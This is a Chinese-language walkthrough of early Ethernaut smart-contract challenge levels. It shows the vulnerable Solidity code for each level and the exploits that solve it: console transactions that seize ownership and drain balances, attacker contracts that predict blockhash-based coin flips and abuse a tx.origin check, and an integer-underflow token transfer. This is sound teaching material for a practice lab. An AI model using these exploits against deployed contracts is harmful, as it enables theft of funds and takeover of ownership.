dhackeftr

1.Hello Ethernaut

目标:

安装好metamask,熟悉操作命令。

操作过程:

我们先提交一个实例,然后打开游览器F12.然后跟他的提示走。

先输入contract.info().

contract.info()
//You will find what you need in info1().
输入contract.info1()
//Try info2(), but with "hello" as a parameter.
contract.info2("hello")
//The property infoNum holds the number of t...
这里我们在进入infoNum里面。
contract.infoNum()
//看到word为42
contract.info42()
//theMethodName is the name of the next method...
contract.theMethodName()
//The method name is method7123949.
contract.method7123949()
If you know the password, submit it to auth
contract.password()
得到密码为ethernaut0
contract.authenticate("ethernaut0")

  然后这边提交答案就可以了。

 

 

 2.Fallback

目标:

  1. 您要求合同所有权
  2. 您将其余额减少到0

代码:

pragma solidity ^0.5.0;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Fallback {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

  function() payable external {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

代码分析:

看了一下代码,如果要获取owner的话,有两种办法。

第一种是通过contrabute函数去获取。

(但是contribute函数中,每次发送小于0.001ether,但是判断了contributions[msg.sender] > contributions[owner]

contributions[owner]初始值为1000ether,这个要求我们很难满足)

第二种是通过fallback去获取。

(我们看到fallback中的owner = msg.sender;这就好办了,我们可以通过发送以太币,触发合约中的fallback函数。

但是其中判断了contributions[msg.sender] > 0,这里我们需要使他大于0.使用内置的函数去触发他)

操作过程:

contract.contribute({value: 1})先调用contribute获取贡献值。

然后使用contract.sendTransaction({value: 1})方法向以太坊网络提交一个交易。

这里我们可以看到合约的owner为自己了。

 

 

 ok,我们现在查询一下合约的余额。getBalance(instance)

 

 

 然后我们可以使用合约的转账函数。contract.withdraw()

然后我们再次查询余额。

3.Fallout

目标:

  1.获取合约的权限。

代码:

pragma solidity ^0.5.0;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;


  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
            require(
                msg.sender == owner,
                "caller is not the owner"
            );
            _;
        }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

代码分析:

做这种题,先看owner = msg.sender,毕竟是获取权限的。我们直接定位到Fal1out中,这里我们看到Fal1out,这里是开发写错了函数名,把这个当作构造函数了。这里我们可以直接调用获取owner权限。

操作过程:

contract.Fal1out(),获取owner。

3.Coin Flip

目标:这是一个硬币翻转游戏,您需要通过猜测硬币翻转的结果来建立自己的连胜纪录。要完成此级别,您需要使用自己的心理能力连续10次猜测正确的结果。

代码

pragma solidity ^0.5.0;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

代码分析:

我们先通读一下全文。首先定义了一个CoinFlip这个合约,然后引用了SafeMath这个库,定义了变量。在后面定义了结构consecutiveWins = 0。然后我们看看函数flip写了什么,首先输入一个布尔的值。那么参数_guess可控。uint256 blockValue = uint256(blockhash(block.number.sub(1)))。block.number表示当前区块数,然后减一。就是上一块。blockhash表示区块的hash,然后转换成uint256.然后判断lastHash == blockValue是否相等,如果等于了就回滚。

这里的意思就是不能重复上次的区块。然后获取到blockValue又赋值给lastHash,就相当于你要连续猜对10次才能通关。uint256 coinFlip = blockValue.div(FACTOR);这里把值赋给coinFlip,bool side = coinFlip == 1 ? true : false;这里的意思是判断coinfilp是否为1,如果不为1返回ture或者false给side。然后在到后面的if中,如果我们输入的值,等于就consecutiveWins++;直到consecutiveWins>10.否则失败。这里我们构造一个攻击合约,类似中间人,因为答案可以预测嘛,我们可以把得到的答案发送给原合约。

exp:

pragma solidity ^0.5.0;


contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number-1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue/FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

contract expcoinflip{
    CoinFlip target;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    function expaddress(address _addr) external{
        target = CoinFlip(_addr);
    }
    function hack() external{
        uint256 blockValue = uint256(blockhash(block.number-1));
        uint256 coinFlip = blockValue/FACTOR;
        bool guess = coinFlip == 1 ? true : false;
        target.flip(guess);
    }
    
}

操作过程:

 

 

 可以看到为0,要使他大于10.

 

 

 导入合约地址,然后执行hack。知道大于10.

 

 

 Telephone

目标:

获取合约的权限

代码:

pragma solidity ^0.5.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

代码分析:

我们看到代码还是很简单的,获取权限的话,我们先看看是否有owner = msg.sender。这里我看到有两处,第一处是在构造函数里面,第二处是在函数

changeOwner里面,那么我们要获取权限的话吗,就只能在changeOwner函数里面,我们来分析一下。他判断了tx.origin != msg.sender,tx.origin表示最初交易发起人,msg.sender表示消息的发起人。当然如果在同一个合约使用的话,是完全没有问题的。如果被其他合约调用了的话,就会出现问题。比如

合约b合约调用a合约。tx.origin表示用户,msg.sender表示合约a。就会绕过。

exp:

pragma solidity ^0.5.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}
contract exp{
    Telephone a = Telephone(0x5ad1DEE3Eb55CFb3592DA97247cBB9Cc76a46AC8);
    function hack() public{
        a.changeOwner(msg.sender);
    }
}

操作过程:

 

 

 

token

目标:

该级别的目标是让您破解下面的基本令牌合约。

首先会给您20个令牌,如果您设法以某种方式尝试使用任何其他令牌,就会超越该水平。优选地,非常大量的令牌。

代码:

pragma solidity ^0.5.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

代码分析:

我们看代码定义了两个函数,一个转账,一个查询余额。然后构造函数定义了totalSupply。根据题目,要求增加大量的token。那么我们使用溢出来做,

首先我们看看可控点,一个address和value。要使它变大我们可以使用下溢,比如1减去2.因为无符号,他就会得到一个极大的值。上溢比如指数相乘,超过了最大值极限,他就会变成0.我们在看看代码。

balances[msg.sender] - _value >= 0

这个判断写和没写没有区别,因为是uint型的没有符号,是恒成立的。

balances[msg.sender] -= _value

这个就是我们利用的点,首先balances[msg.sender]是初始化了的,为20.但是value可控。这里我们比他大就可以造成溢出了。这里地址可以不用管。随意就行。

exp:

contract.transfer("任意地址,但是要求存在",21)

操作:

 

 看到为20.

 

相关文章: